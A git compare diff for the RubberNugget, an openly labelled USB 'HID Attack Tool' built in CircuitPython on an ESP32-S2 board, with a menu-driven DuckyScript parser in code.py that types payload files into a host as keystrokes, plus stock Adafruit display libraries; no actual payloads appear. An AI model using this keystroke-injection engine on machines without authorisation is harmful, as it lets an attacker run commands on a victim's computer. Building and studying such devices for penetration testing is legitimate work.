Compare commits
54 Commits
board-desi
...
nugget_rem
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1b18592a45 | ||
|
|
65d822c367 | ||
|
|
95852500c1 | ||
|
|
44257ed549 | ||
|
|
d71df428fe | ||
|
|
4683a5cf8c | ||
|
|
363844158b | ||
|
|
4c6f512554 | ||
|
|
bdda10da07 | ||
|
|
7cfb4b2b6f | ||
|
|
137ee9ae03 | ||
|
|
5476b1cc7b | ||
|
|
85e9d49268 | ||
|
|
c7e1b198fc | ||
|
|
0c0dac3b39 | ||
|
|
0fffb50bab | ||
|
|
080cc9d2e5 | ||
|
|
30d85ffbe5 | ||
|
|
f426f549d1 | ||
|
|
ed5e4def1e | ||
|
|
d98fc04f5d | ||
|
|
92ec77556a | ||
|
|
474151a787 | ||
|
|
d59603f5f7 | ||
|
|
5fafdeb794 | ||
|
|
8f4ca16d87 | ||
|
|
e39d5111da | ||
|
|
ea13d656fb | ||
|
|
b01415bf7a | ||
|
|
04daab4a13 | ||
|
|
75ea3e94c8 | ||
|
|
2fdd6a8388 | ||
|
|
660f75b78f | ||
|
|
8ccab094f2 | ||
|
|
1a12c1bc18 | ||
|
|
be10df34ef | ||
|
|
624c99f96b | ||
|
|
7e955b4501 | ||
|
|
b7bdbd4cda | ||
|
|
5f4cbdb8d3 | ||
|
|
26c6ed4cdb | ||
|
|
984e77af67 | ||
|
|
6c782fa055 | ||
|
|
eb9c512dd8 | ||
|
|
230f01ef1a | ||
|
|
744822ce6b | ||
|
|
bebee00809 | ||
|
|
a58b0abf4c | ||
|
|
392f4c8649 | ||
|
|
bdcb1d63b0 | ||
|
|
314d697205 | ||
|
|
809d545bbd | ||
|
|
391c402604 | ||
|
|
30a3f50fed |
34
.github/ISSUE_TEMPLATE/bug_report.md
vendored
@@ -1,34 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Debug info**
|
||||
If possible, include debug serial data.
|
||||
On Windows, use PuTTY, connect to the debug serial port (commonly COM3, but could vary)
|
||||
|
||||
On Linux, use minicom (minicom -b 115200 -o -D /dev/ttyACM0, where ttyACM0 corresponds to your device)
|
||||
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
21
Alex-Test/boot.py
Normal file
@@ -0,0 +1,21 @@
|
||||
from board import *
|
||||
import digitalio
|
||||
import storage
|
||||
import board
|
||||
import time
|
||||
|
||||
time.sleep(3)
|
||||
|
||||
noStorageStatus = False
|
||||
noStoragePin = digitalio.DigitalInOut(board.IO18) ## If the down button is pressed on the S2 Nugget
|
||||
noStoragePin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
noStorageStatus = not noStoragePin.value
|
||||
|
||||
if(noStorageStatus == True):
|
||||
# don't show USB drive to host PC
|
||||
storage.disable_usb_drive()
|
||||
print("Disabling USB drive")
|
||||
else:
|
||||
# normal boot
|
||||
print("USB drive enabled")
|
||||
# Write your code here :-)
|
||||
4
Alex-Test/boot_out.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
Adafruit CircuitPython 7.2.3 on 2022-03-16; S2Mini with ESP32S2-S2FN4R2
|
||||
Board ID:lolin_s2_mini
|
||||
boot.py output:
|
||||
USB drive enabled
|
||||
254
Alex-Test/code.py
Normal file
@@ -0,0 +1,254 @@
|
||||
# RubberNugget HID Attack Tool
|
||||
# By Kody Kinzie & Alex Lynd
|
||||
# Optimized by Areza
|
||||
# Forked from https://github.com/dbisu/pico-ducky
|
||||
|
||||
# import libraries
|
||||
import usb_hid, neopixel, board, busio, adafruit_displayio_sh1106, displayio, adafruit_framebuf, time, ssl, wifi, socketpool, ipaddress
|
||||
import adafruit_requests, adafruit_requests as requests, ampule, adafruit_binascii as binascii, terminalio, base64, os
|
||||
from adafruit_hid.keyboard import Keyboard
|
||||
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
|
||||
from adafruit_hid.keycode import Keycode
|
||||
from digitalio import DigitalInOut, Pull
|
||||
from adafruit_debouncer import Debouncer
|
||||
from board import *
|
||||
from adafruit_display_text import label
|
||||
from adafruit_display_shapes.line import Line
|
||||
|
||||
|
||||
# display config for SH1106
|
||||
displayio.release_displays()
|
||||
WIDTH = 130
|
||||
HEIGHT = 64
|
||||
BORDER = 1
|
||||
i2c = busio.I2C(SCL, SDA)
|
||||
display_bus = displayio.I2CDisplay(i2c, device_address=0x3c)
|
||||
display = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT)
|
||||
|
||||
# use default font & white for font
|
||||
font = terminalio.FONT
|
||||
color = 0xFFFFFF
|
||||
|
||||
|
||||
# configure button input
|
||||
pins = (board.IO9, board.IO18, board.IO11, board.IO7)
|
||||
buttons = [] # will hold list of Debouncer objects
|
||||
for pin in pins: # set up each pin
|
||||
tmp_pin = DigitalInOut(pin) # defaults to input
|
||||
tmp_pin.pull = Pull.UP # turn on internal pull-up resistor
|
||||
buttons.append( Debouncer(tmp_pin) )
|
||||
|
||||
# keyboard config
|
||||
kbd = Keyboard(usb_hid.devices)
|
||||
layout = KeyboardLayout(kbd)
|
||||
|
||||
# payload config & root dir
|
||||
payloadstatus = ""
|
||||
defaultDelay = 0
|
||||
path = "payloads"
|
||||
|
||||
|
||||
# get pressed button
|
||||
def getButtonPressed():
|
||||
for i in range(len(buttons)):
|
||||
buttons[i].update()
|
||||
if buttons[i].fell:
|
||||
return i
|
||||
return -1
|
||||
|
||||
|
||||
###### draw key map function ######
|
||||
|
||||
def drawNavMap(map_vals):
|
||||
global path
|
||||
map = ["UP ", "DOWN ", "LEFT ", "RIGHT"]
|
||||
|
||||
#insert "back" as down value or blank values
|
||||
if len(map_vals) <4:
|
||||
for i in range (len(map_vals),4):
|
||||
map_vals.insert(i,"")
|
||||
map_vals.insert(1, "Back")
|
||||
counter = 0
|
||||
navScreen = displayio.Group()
|
||||
|
||||
# iterate text values and add to screen
|
||||
for i in map_vals[:4]:
|
||||
text_area = label.Label(font, text=map[counter]+": "+i, color=color)
|
||||
text_area.x = 2
|
||||
text_area.y =3+(10*counter)
|
||||
counter+=1
|
||||
navScreen.append(text_area)
|
||||
|
||||
# draw stuff
|
||||
navScreen.append(Line(0, 50, 127, 50, 0xFFFFFF))
|
||||
navScreen.append(Line(0, 51, 127, 51, 0xFFFFFF))
|
||||
text_area = label.Label(font, text="Dir: "+ path[path.rfind("/")+1:], color=color)
|
||||
text_area.x = 2
|
||||
text_area.y =57
|
||||
navScreen.append(text_area)
|
||||
display.show(navScreen)
|
||||
|
||||
# update path until text file reached
|
||||
currButton = -1
|
||||
while (currButton== -1):
|
||||
currButton = getButtonPressed()
|
||||
if("Back" in map_vals and currButton==1):
|
||||
path=path[0:path.rfind("/")]
|
||||
elif (map_vals[currButton]==""):
|
||||
pass
|
||||
else :
|
||||
path+="/"+map_vals[currButton]
|
||||
if (".txt" in path):
|
||||
runPayload(path)
|
||||
path=path[0:path.rfind("/")]
|
||||
path=path[0:path.rfind("/")]
|
||||
|
||||
|
||||
##### draw and execute payload ######
|
||||
|
||||
def drawPayload(status, payloadName):
|
||||
|
||||
# draw Nugget to indicate status!
|
||||
|
||||
if (status=="START"):
|
||||
statusText = "executing"
|
||||
bitmap = displayio.OnDiskBitmap("/faces/payload-running.bmp")
|
||||
else:
|
||||
statusText = "finished"
|
||||
bitmap = displayio.OnDiskBitmap("/faces/payload-finished.bmp")
|
||||
# Setup the file as the bitmap data source
|
||||
tile_grid = displayio.TileGrid(bitmap, pixel_shader=bitmap.pixel_shader)
|
||||
|
||||
group = displayio.Group() # Create a Group to hold the TileGrid
|
||||
group.append(tile_grid)
|
||||
group.append(Line(0, 50, 129, 50, 0xFFFFFF))
|
||||
group.append(Line(0, 51, 129, 51, 0xFFFFFF))
|
||||
group.append(Line(0, 11, 129, 11, 0xFFFFFF))
|
||||
group.append(Line(0, 12, 129, 12, 0xFFFFFF))
|
||||
|
||||
text = ("STATUS: "+statusText)
|
||||
text_area = label.Label(font, text=text, color=color)
|
||||
text_area.x = 2
|
||||
text_area.y =57
|
||||
group.append(text_area)
|
||||
text = (payloadName[path.rfind("/")+1:])
|
||||
if(len(text)>21):
|
||||
text = text[:18]+"..."
|
||||
|
||||
text_area = label.Label(font, text=text, color=color)
|
||||
text_area.x = 2
|
||||
text_area.y =3
|
||||
group.append(text_area)
|
||||
display.show(group)
|
||||
time.sleep(3)
|
||||
|
||||
# duckyscript command map
|
||||
|
||||
duckyCommands = {
|
||||
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
|
||||
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
|
||||
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
|
||||
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
|
||||
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
|
||||
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
|
||||
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
|
||||
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
|
||||
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
|
||||
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
|
||||
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
|
||||
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
|
||||
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
|
||||
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
|
||||
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
|
||||
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
|
||||
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
|
||||
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
|
||||
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
|
||||
'F12': Keycode.F12,
|
||||
}
|
||||
|
||||
###### ducky parser by @dbisu ######
|
||||
|
||||
def convertLine(line):
|
||||
newline = []
|
||||
print(line)
|
||||
# loop on each key - the filter removes empty values
|
||||
for key in filter(None, line.split(" ")):
|
||||
key = key.upper()
|
||||
# find the keycode for the command in the list
|
||||
command_keycode = duckyCommands.get(key, None)
|
||||
if command_keycode is not None:
|
||||
# if it exists in the list, use it
|
||||
newline.append(command_keycode)
|
||||
elif hasattr(Keycode, key):
|
||||
# if it's in the Keycode module, use it (allows any valid keycode)
|
||||
newline.append(getattr(Keycode, key))
|
||||
else:
|
||||
# if it's not a known key name, show the error for diagnosis
|
||||
print(f"Unknown key: <{key}>")
|
||||
print(newline)
|
||||
return newline
|
||||
|
||||
def runScriptLine(line):
|
||||
for k in line:
|
||||
kbd.press(k)
|
||||
kbd.release_all()
|
||||
|
||||
def sendString(line):
|
||||
layout.write(line)
|
||||
|
||||
def parseLine(line):
|
||||
global defaultDelay
|
||||
if(line[0:3] == "REM"):
|
||||
# ignore ducky script comments
|
||||
pass
|
||||
elif(line[0:5] == "DELAY"):
|
||||
time.sleep(float(line[6:])/1000)
|
||||
elif(line[0:6] == "STRING"):
|
||||
sendString(line[7:])
|
||||
elif(line[0:13] == "DEFAULT_DELAY"):
|
||||
defaultDelay = int(line[14:]) * 10
|
||||
elif(line[0:12] == "DEFAULTDELAY"):
|
||||
defaultDelay = int(line[13:]) * 10
|
||||
else:
|
||||
newScriptLine = convertLine(line)
|
||||
runScriptLine(newScriptLine)
|
||||
|
||||
###### payload run function ######
|
||||
|
||||
def runPayload(payloadPath):
|
||||
##startup indicator
|
||||
drawPayload("START",payloadPath)
|
||||
f = open(payloadPath,"r",encoding='utf-8')
|
||||
previousLine = ""
|
||||
duckyScript = f.readlines()
|
||||
for line in duckyScript:
|
||||
print(line)
|
||||
line = line.rstrip()
|
||||
if(line[0:6] == "REPEAT"):
|
||||
for i in range(int(line[7:])):
|
||||
#repeat the last command
|
||||
parseLine(previousLine)
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
else:
|
||||
parseLine(line)
|
||||
previousLine = line
|
||||
time.sleep(float(defaultDelay)/1000)
|
||||
|
||||
##finish indicator
|
||||
drawPayload("STOP",payloadPath)
|
||||
time.sleep(.5)
|
||||
|
||||
# create default directories
|
||||
|
||||
default_os = ["Windows","Starred","Mac","Linux"]
|
||||
for os_name in default_os:
|
||||
if (os_name not in(os.listdir("payloads"))):
|
||||
os.mkdir(os_name)
|
||||
|
||||
while True:
|
||||
# check for root payload directory
|
||||
if (path!="payloads"):
|
||||
drawNavMap(os.listdir(path)[:3]) # take first 3 items from list
|
||||
else:
|
||||
drawNavMap(os.listdir(path))
|
||||
BIN
Alex-Test/faces/payload-finished.bmp
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
Alex-Test/faces/payload-running.bmp
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
Alex-Test/lib/adafruit_binascii.mpy
Normal file
BIN
Alex-Test/lib/adafruit_debouncer.mpy
Normal file
0
Alex-Test/lib/adafruit_display_shapes/__init__.py
Normal file
52
Alex-Test/lib/adafruit_display_shapes/line.py
Normal file
@@ -0,0 +1,52 @@
|
||||
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
|
||||
"""
|
||||
`line`
|
||||
================================================================================
|
||||
|
||||
Various common shapes for use with displayio - Line shape!
|
||||
|
||||
|
||||
* Author(s): Melissa LeBlanc-Williams
|
||||
|
||||
Implementation Notes
|
||||
--------------------
|
||||
|
||||
**Software and Dependencies:**
|
||||
|
||||
* Adafruit CircuitPython firmware for the supported boards:
|
||||
https://github.com/adafruit/circuitpython/releases
|
||||
|
||||
"""
|
||||
|
||||
from adafruit_display_shapes.polygon import Polygon
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
|
||||
|
||||
|
||||
class Line(Polygon):
|
||||
# pylint: disable=too-many-arguments,invalid-name, too-few-public-methods
|
||||
"""A line.
|
||||
|
||||
:param x0: The x-position of the first vertex.
|
||||
:param y0: The y-position of the first vertex.
|
||||
:param x1: The x-position of the second vertex.
|
||||
:param y1: The y-position of the second vertex.
|
||||
:param color: The color of the line.
|
||||
"""
|
||||
|
||||
def __init__(self, x0, y0, x1, y1, color):
|
||||
super().__init__([(x0, y0), (x1, y1)], outline=color)
|
||||
|
||||
@property
|
||||
def color(self):
|
||||
"""The line color value. Can be a hex value for a color or
|
||||
``None`` for no line color."""
|
||||
return self.outline
|
||||
|
||||
@color.setter
|
||||
def color(self, color):
|
||||
self.outline = color
|
||||
136
Alex-Test/lib/adafruit_display_shapes/polygon.py
Normal file
@@ -0,0 +1,136 @@
|
||||
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
|
||||
"""
|
||||
`polygon`
|
||||
================================================================================
|
||||
|
||||
Various common shapes for use with displayio - Polygon shape!
|
||||
|
||||
|
||||
* Author(s): Melissa LeBlanc-Williams
|
||||
|
||||
Implementation Notes
|
||||
--------------------
|
||||
|
||||
**Software and Dependencies:**
|
||||
|
||||
* Adafruit CircuitPython firmware for the supported boards:
|
||||
https://github.com/adafruit/circuitpython/releases
|
||||
|
||||
"""
|
||||
|
||||
import displayio
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
|
||||
|
||||
|
||||
class Polygon(displayio.TileGrid):
|
||||
# pylint: disable=too-many-arguments,invalid-name
|
||||
"""A polygon.
|
||||
|
||||
:param points: A list of (x, y) tuples of the points
|
||||
:param outline: The outline of the polygon. Can be a hex value for a color or
|
||||
``None`` for no outline.
|
||||
"""
|
||||
|
||||
def __init__(self, points, *, outline=None):
|
||||
xs = []
|
||||
ys = []
|
||||
|
||||
for point in points:
|
||||
xs.append(point[0])
|
||||
ys.append(point[1])
|
||||
|
||||
x_offset = min(xs)
|
||||
y_offset = min(ys)
|
||||
|
||||
# Find the largest and smallest X values to figure out width for bitmap
|
||||
width = max(xs) - min(xs) + 1
|
||||
height = max(ys) - min(ys) + 1
|
||||
|
||||
self._palette = displayio.Palette(3)
|
||||
self._palette.make_transparent(0)
|
||||
self._bitmap = displayio.Bitmap(width, height, 3)
|
||||
|
||||
if outline is not None:
|
||||
# print("outline")
|
||||
self.outline = outline
|
||||
for index, _ in enumerate(points):
|
||||
point_a = points[index]
|
||||
if index == len(points) - 1:
|
||||
point_b = points[0]
|
||||
else:
|
||||
point_b = points[index + 1]
|
||||
self._line(
|
||||
point_a[0] - x_offset,
|
||||
point_a[1] - y_offset,
|
||||
point_b[0] - x_offset,
|
||||
point_b[1] - y_offset,
|
||||
1,
|
||||
)
|
||||
|
||||
super().__init__(
|
||||
self._bitmap, pixel_shader=self._palette, x=x_offset, y=y_offset
|
||||
)
|
||||
|
||||
# pylint: disable=invalid-name, too-many-locals, too-many-branches
|
||||
def _line(self, x0, y0, x1, y1, color):
|
||||
if x0 == x1:
|
||||
if y0 > y1:
|
||||
y0, y1 = y1, y0
|
||||
for _h in range(y0, y1 + 1):
|
||||
self._bitmap[x0, _h] = color
|
||||
elif y0 == y1:
|
||||
if x0 > x1:
|
||||
x0, x1 = x1, x0
|
||||
for _w in range(x0, x1 + 1):
|
||||
self._bitmap[_w, y0] = color
|
||||
else:
|
||||
steep = abs(y1 - y0) > abs(x1 - x0)
|
||||
if steep:
|
||||
x0, y0 = y0, x0
|
||||
x1, y1 = y1, x1
|
||||
|
||||
if x0 > x1:
|
||||
x0, x1 = x1, x0
|
||||
y0, y1 = y1, y0
|
||||
|
||||
dx = x1 - x0
|
||||
dy = abs(y1 - y0)
|
||||
|
||||
err = dx / 2
|
||||
|
||||
if y0 < y1:
|
||||
ystep = 1
|
||||
else:
|
||||
ystep = -1
|
||||
|
||||
for x in range(x0, x1 + 1):
|
||||
if steep:
|
||||
self._bitmap[y0, x] = color
|
||||
else:
|
||||
self._bitmap[x, y0] = color
|
||||
err -= dy
|
||||
if err < 0:
|
||||
y0 += ystep
|
||||
err += dx
|
||||
|
||||
# pylint: enable=invalid-name, too-many-locals, too-many-branches
|
||||
|
||||
@property
|
||||
def outline(self):
|
||||
"""The outline of the polygon. Can be a hex value for a color or
|
||||
``None`` for no outline."""
|
||||
return self._palette[1]
|
||||
|
||||
@outline.setter
|
||||
def outline(self, color):
|
||||
if color is None:
|
||||
self._palette[1] = 0
|
||||
self._palette.make_transparent(1)
|
||||
else:
|
||||
self._palette[1] = color
|
||||
self._palette.make_opaque(1)
|
||||
144
Alex-Test/lib/adafruit_display_shapes/triangle.py
Normal file
@@ -0,0 +1,144 @@
|
||||
# SPDX-FileCopyrightText: 2019 Limor Fried for Adafruit Industries
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
|
||||
"""
|
||||
`triangle`
|
||||
================================================================================
|
||||
|
||||
Various common shapes for use with displayio - Triangle shape!
|
||||
|
||||
|
||||
* Author(s): Melissa LeBlanc-Williams
|
||||
|
||||
Implementation Notes
|
||||
--------------------
|
||||
|
||||
**Software and Dependencies:**
|
||||
|
||||
* Adafruit CircuitPython firmware for the supported boards:
|
||||
https://github.com/adafruit/circuitpython/releases
|
||||
|
||||
"""
|
||||
|
||||
from adafruit_display_shapes.polygon import Polygon
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git"
|
||||
|
||||
|
||||
class Triangle(Polygon):
|
||||
# pylint: disable=too-many-arguments,invalid-name
|
||||
"""A triangle.
|
||||
|
||||
:param x0: The x-position of the first vertex.
|
||||
:param y0: The y-position of the first vertex.
|
||||
:param x1: The x-position of the second vertex.
|
||||
:param y1: The y-position of the second vertex.
|
||||
:param x2: The x-position of the third vertex.
|
||||
:param y2: The y-position of the third vertex.
|
||||
:param fill: The color to fill the triangle. Can be a hex value for a color or
|
||||
``None`` for transparent.
|
||||
:param outline: The outline of the triangle. Can be a hex value for a color or
|
||||
``None`` for no outline.
|
||||
"""
|
||||
# pylint: disable=too-many-locals
|
||||
def __init__(self, x0, y0, x1, y1, x2, y2, *, fill=None, outline=None):
|
||||
# Sort coordinates by Y order (y2 >= y1 >= y0)
|
||||
if y0 > y1:
|
||||
y0, y1 = y1, y0
|
||||
x0, x1 = x1, x0
|
||||
|
||||
if y1 > y2:
|
||||
y1, y2 = y2, y1
|
||||
x1, x2 = x2, x1
|
||||
|
||||
if y0 > y1:
|
||||
y0, y1 = y1, y0
|
||||
x0, x1 = x1, x0
|
||||
|
||||
# Find the largest and smallest X values to figure out width for bitmap
|
||||
xs = [x0, x1, x2]
|
||||
points = [(x0, y0), (x1, y1), (x2, y2)]
|
||||
|
||||
# Initialize the bitmap and palette
|
||||
super().__init__(points)
|
||||
|
||||
if fill is not None:
|
||||
self._draw_filled(
|
||||
x0 - min(xs), 0, x1 - min(xs), y1 - y0, x2 - min(xs), y2 - y0
|
||||
)
|
||||
self.fill = fill
|
||||
else:
|
||||
self.fill = None
|
||||
|
||||
if outline is not None:
|
||||
self.outline = outline
|
||||
for index, _ in enumerate(points):
|
||||
point_a = points[index]
|
||||
if index == len(points) - 1:
|
||||
point_b = points[0]
|
||||
else:
|
||||
point_b = points[index + 1]
|
||||
self._line(
|
||||
point_a[0] - min(xs),
|
||||
point_a[1] - y0,
|
||||
point_b[0] - min(xs),
|
||||
point_b[1] - y0,
|
||||
1,
|
||||
)
|
||||
|
||||
# pylint: disable=invalid-name, too-many-branches
|
||||
def _draw_filled(self, x0, y0, x1, y1, x2, y2):
|
||||
if y0 == y2: # Handle awkward all-on-same-line case as its own thing
|
||||
a = x0
|
||||
b = x0
|
||||
if x1 < a:
|
||||
a = x1
|
||||
elif x1 > b:
|
||||
b = x1
|
||||
|
||||
if x2 < a:
|
||||
a = x2
|
||||
elif x2 > b:
|
||||
b = x2
|
||||
self._line(a, y0, b, y0, 2)
|
||||
return
|
||||
|
||||
if y1 == y2:
|
||||
last = y1 # Include y1 scanline
|
||||
else:
|
||||
last = y1 - 1 # Skip it
|
||||
|
||||
# Upper Triangle
|
||||
for y in range(y0, last + 1):
|
||||
a = round(x0 + (x1 - x0) * (y - y0) / (y1 - y0))
|
||||
b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0))
|
||||
if a > b:
|
||||
a, b = b, a
|
||||
self._line(a, y, b, y, 2)
|
||||
# Lower Triangle
|
||||
for y in range(last + 1, y2 + 1):
|
||||
a = round(x1 + (x2 - x1) * (y - y1) / (y2 - y1))
|
||||
b = round(x0 + (x2 - x0) * (y - y0) / (y2 - y0))
|
||||
|
||||
if a > b:
|
||||
a, b = b, a
|
||||
self._line(a, y, b, y, 2)
|
||||
|
||||
# pylint: enable=invalid-name, too-many-locals, too-many-branches
|
||||
|
||||
@property
|
||||
def fill(self):
|
||||
"""The fill of the triangle. Can be a hex value for a color or
|
||||
``None`` for transparent."""
|
||||
return self._palette[2]
|
||||
|
||||
@fill.setter
|
||||
def fill(self, color):
|
||||
if color is None:
|
||||
self._palette[2] = 0
|
||||
self._palette.make_transparent(2)
|
||||
else:
|
||||
self._palette[2] = color
|
||||
self._palette.make_opaque(2)
|
||||
BIN
Alex-Test/lib/adafruit_display_text/__init__.mpy
Normal file
BIN
Alex-Test/lib/adafruit_display_text/bitmap_label.mpy
Normal file
BIN
Alex-Test/lib/adafruit_display_text/label.mpy
Normal file
115
Alex-Test/lib/adafruit_displayio_sh1106.py
Normal file
@@ -0,0 +1,115 @@
|
||||
# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries
|
||||
# SPDX-FileCopyrightText: Copyright (c) 2021 ladyada for Adafruit Industries
|
||||
#
|
||||
# SPDX-License-Identifier: MIT
|
||||
"""
|
||||
`adafruit_displayio_sh1106`
|
||||
================================================================================
|
||||
|
||||
DisplayIO compatible library for SH1106 OLED displays
|
||||
|
||||
|
||||
* Author(s): ladyada
|
||||
|
||||
Implementation Notes
|
||||
--------------------
|
||||
|
||||
**Hardware:**
|
||||
|
||||
**Software and Dependencies:**
|
||||
|
||||
* Adafruit CircuitPython firmware for the supported boards:
|
||||
https://github.com/adafruit/circuitpython/releases
|
||||
|
||||
"""
|
||||
|
||||
# imports
|
||||
import displayio
|
||||
|
||||
__version__ = "0.0.0-auto.0"
|
||||
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_DisplayIO_SH1106.git"
|
||||
|
||||
|
||||
# Sequence from sh1106 framebuf driver formatted for displayio init
|
||||
_INIT_SEQUENCE = (
|
||||
b"\xae\x00" # display off, sleep mode
|
||||
b"\xd5\x01\x80" # divide ratio/oscillator: divide by 2, fOsc (POR)
|
||||
b"\xa8\x01\x3f" # multiplex ratio = 64 (POR)
|
||||
b"\xd3\x01\x00" # set display offset mode = 0x0
|
||||
b"\x40\x00" # set start line
|
||||
b"\xad\x01\x8b" # turn on DC/DC
|
||||
b"\xa1\x00" # segment remap = 1 (POR=0, down rotation)
|
||||
b"\xc8\x00" # scan decrement
|
||||
b"\xda\x01\x12" # set com pins
|
||||
b"\x81\x01\xff" # contrast setting = 0xff
|
||||
b"\xd9\x01\x1f" # pre-charge/dis-charge period mode: 2 DCLKs/2 DCLKs (POR)
|
||||
b"\xdb\x01\x40" # VCOM deselect level = 0.770 (POR)
|
||||
b"\x20\x01\x20" #
|
||||
b"\x33\x00" # turn on VPP to 9V
|
||||
b"\xa6\x00" # normal (not reversed) display
|
||||
b"\xa4\x00" # entire display off, retain RAM, normal status (POR)
|
||||
b"\xaf\x00" # DISPLAY_ON
|
||||
)
|
||||
|
||||
|
||||
class SH1106(displayio.Display):
|
||||
"""
|
||||
SH1106 driver for use with DisplayIO
|
||||
|
||||
:param bus: The bus that the display is connected to.
|
||||
:param int width: The width of the display. Maximum of 132
|
||||
:param int height: The height of the display. Maximum of 64
|
||||
:param int rotation: The rotation of the display. 0, 90, 180 or 270.
|
||||
"""
|
||||
|
||||
def __init__(self, bus, **kwargs):
|
||||
init_sequence = bytearray(_INIT_SEQUENCE)
|
||||
super().__init__(
|
||||
bus,
|
||||
init_sequence,
|
||||
**kwargs,
|
||||
color_depth=1,
|
||||
grayscale=True,
|
||||
pixels_in_byte_share_row=False, # in vertical (column) mode
|
||||
data_as_commands=True, # every byte will have a command byte preceeding
|
||||
brightness_command=0x81,
|
||||
single_byte_bounds=True,
|
||||
# for sh1107 use column and page addressing.
|
||||
# lower column command = 0x00 - 0x0F
|
||||
# upper column command = 0x10 - 0x17
|
||||
# set page address = 0xB0 - 0xBF (16 pages)
|
||||
SH1107_addressing=True,
|
||||
)
|
||||
self._is_awake = True # Display starts in active state (_INIT_SEQUENCE)
|
||||
|
||||
@property
|
||||
def is_awake(self):
|
||||
"""
|
||||
The power state of the display. (read-only)
|
||||
|
||||
`True` if the display is active, `False` if in sleep mode.
|
||||
"""
|
||||
return self._is_awake
|
||||
|
||||
def sleep(self):
|
||||
"""
|
||||
Put display into sleep mode. The display uses < 5uA in sleep mode.
|
||||
|
||||
Sleep mode does the following:
|
||||
|
||||
1) Stops the oscillator and DC-DC circuits
|
||||
2) Stops the OLED drive
|
||||
3) Remembers display data and operation mode active prior to sleeping
|
||||
4) The MP can access (update) the built-in display RAM
|
||||
"""
|
||||
if self._is_awake:
|
||||
self.bus.send(int(0xAE), "") # 0xAE = display off, sleep mode
|
||||
self._is_awake = False
|
||||
|
||||
def wake(self):
|
||||
"""
|
||||
Wake display from sleep mode
|
||||
"""
|
||||
if not self._is_awake:
|
||||
self.bus.send(int(0xAF), "") # 0xAF = display on
|
||||
self._is_awake = True
|
||||
BIN
Alex-Test/lib/adafruit_framebuf.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/__init__.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/consumer_control.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/consumer_control_code.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/keyboard.mpy
Normal file
BIN
Alex-Test/lib/adafruit_hid/keyboard_layout_base.mpy
Normal file
BIN
